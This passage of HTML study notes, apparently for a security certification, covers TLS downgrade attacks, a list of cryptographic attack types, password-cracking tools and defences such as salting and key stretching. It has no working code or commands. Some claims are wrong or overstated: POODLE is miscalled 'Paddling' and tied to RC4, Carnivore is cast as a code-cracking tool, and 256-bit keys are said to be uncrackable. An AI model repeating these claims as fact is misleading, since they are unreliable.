      <p><strong>POODLE (Paddling Oracle On Downgraded Legacy Encryption)</strong> - downgrade attack that used the
        vulnerability that TLS downgrades to SSL if a connection cannot be made</p>
      <ul>
        <li>SSl 3 uses RC4, which is easy to crack</li>
        <li>CVE-2014-3566</li>
        <li>Also called PoodleBleed</li>
      </ul>
    </li>
    <li>
      <p><strong>DROWN (Decrypting RSA with Obsolete and Weakened Encryption)</strong> - affects SSL and TLS services
      </p>
      <ul>
        <li>Allows attackers to break the encryption and steal sensitive data</li>
        <li>Uses flaws in SSL v2</li>
        <li>Not only web servers; can be IMAP and POP servers as well</li>
      </ul>
    </li>
  </ul>
  <h2><u>Cryptography Attacks</u></h2>
  <p><em>Cryptographic attacks approaches that seek to exploit one or more vulnerabilities in a cryptosystem to break
      it; <strong>Note: Patterns Kill! and it's all about the key!</strong></em></p>
  <ul>
    <li>
      <p><strong>Frequency Analysis &amp; the Ciphertext Only Attack</strong></p>
      <ul>
        <li>Examine frequency of letters appearing in the ciphertext</li>
        <li>Attempt to figure out what letters they correspond to plaintext</li>
      </ul>
    </li>
    <li>
      <p><strong>Known Plain-text attack</strong></p>
      <ul>
        <li>Has both plain text and cipher-text; plain-text scanned for repeatable sequences which is compared to cipher
          text</li>
      </ul>
    </li>
    <li>
      <p><strong>Chosen Cipher-text Attack</strong></p>
      <ul>
        <li>Chooses a particular cipher-text message</li>
        <li>Attempts to discern the key through comparative analysis</li>
        <li>RSA is particularly vulnerable to this</li>
      </ul>
    </li>
    <li>
      <p><strong>Chosen Plain-text attack</strong></p>
      <ul>
        <li>Attacker encrypts multiple plain-text copies in order to gain the key</li>
      </ul>
    </li>
    <li>
      <p><strong>Adaptive chosen plain-text attack</strong></p>
      <ul>
        <li>Attacker makes a series of interactive queries choosing subsequent plaintexts based on the information from
          the previous encryptions; idea is to glean more and more information about the full target cipher text and key
        </li>
      </ul>
    </li>
    <li>
      <p><strong>Cipher-text-only attack</strong></p>
      <ul>
        <li>Gains copies of several encrypted messages with the same algorithm; statistical analysis is then used to
          reveal eventually repeating code</li>
      </ul>
    </li>
    <li>
      <p><strong>Replay attack</strong></p>
      <ul>
        <li>Usually performed within context of MITM attack</li>
        <li>Hacker repeats a portion of cryptographic exchange in hopes of fooling the system to setup a communications
          channel</li>
        <li>Doesn't know the actual data - just has to get timing right</li>
      </ul>
    </li>
    <li>
      <p><strong>Side-Channel Attack</strong></p>
      <ul>
        <li>Monitors environmental factors such as power consumption, timing and delay</li>
      </ul>
    </li>
    <li>
      <p><strong>Meet-in-the-Middle</strong></p>
      <ul>
        <li>Used against algorithms that use 2 rounds of encryption. (reason that 2-DES was defeated).</li>
      </ul>
    </li>
    <li>
      <p><strong>Man-in-the-Middle</strong></p>
    </li>
    <li>
      <p><strong>Birthday Attack / Collision Attack / Reverse Hash matching</strong></p>
      <ul>
        <li>Find flaws in the one-to-one association of the hash function</li>
      </ul>
    </li>
    <li>
      <p><strong>Timing Attack</strong></p>
      <ul>
        <li>Based on examining exact execution times of the components in the cryptosystems</li>
      </ul>
    </li>
    <li>
      <p><strong>Rubber-Hose Attack</strong></p>
      <ul>
        <li>Based on the use of threats or torture to extract need information</li>
      </ul>
    </li>
    <li>
      <p><strong>Don't Use Hard-Coded Keys (DUHK) Attack</strong></p>
      <ul>
        <li>Used against hardware/software that implements ANSI X9.31 Random Number Generation.</li>
      </ul>
    </li>
    <li>
      <p><strong>Social Engineering Attack</strong></p>
      <ul>
        <li>Social eng. can be very efficient to grab passwords etc</li>
      </ul>
    </li>
  </ul>
  <p><strong>Tools</strong></p>
  <ul>
    <li>Carnivore and Magic Lantern - used by law enforcement for cracking codes</li>
    <li>L0phtcrack - used mainly against Windows SAM files</li>
    <li>John the Ripper - UNIX/Linux tool for the same purpose</li>
    <li>PGPcrack - designed to go after PGP-encrypted systems</li>
    <li>CrypTool</li>
    <li>Cryptobench</li>
    <li>Jipher</li>
    <li>Keys should still change on a regular basis even though they may be "unhackable"</li>
    <li>Per U.S. government, an algorithm using at least a 256-bit key cannot be cracked</li>
  </ul>
  <h2>How to defeat attack:</h2>
  <ul>
    <li>
      <p><strong>Salt the passwords</strong> - A nonce most commonly associated with password randomization, making the
        pasword hash unpredictable.</p>
      <ul>
        <li><em>If the password database is breached, you can't correlate any passwords because even users with the same
            password have different hashes stored.</em></li>
      </ul>
    </li>
    <li>
      <p><strong>Pepper</strong> - A large constant number stored separately from the hashed password.</p>
    </li>
    <li>
      <p><strong>Key stretching</strong> - Combine a very long salt and a huge number of hashing iterations to make
        cracking even more harder. (e.g Hashing the hashed password N times).</p>
    </li>
  </ul>
</body>

</html>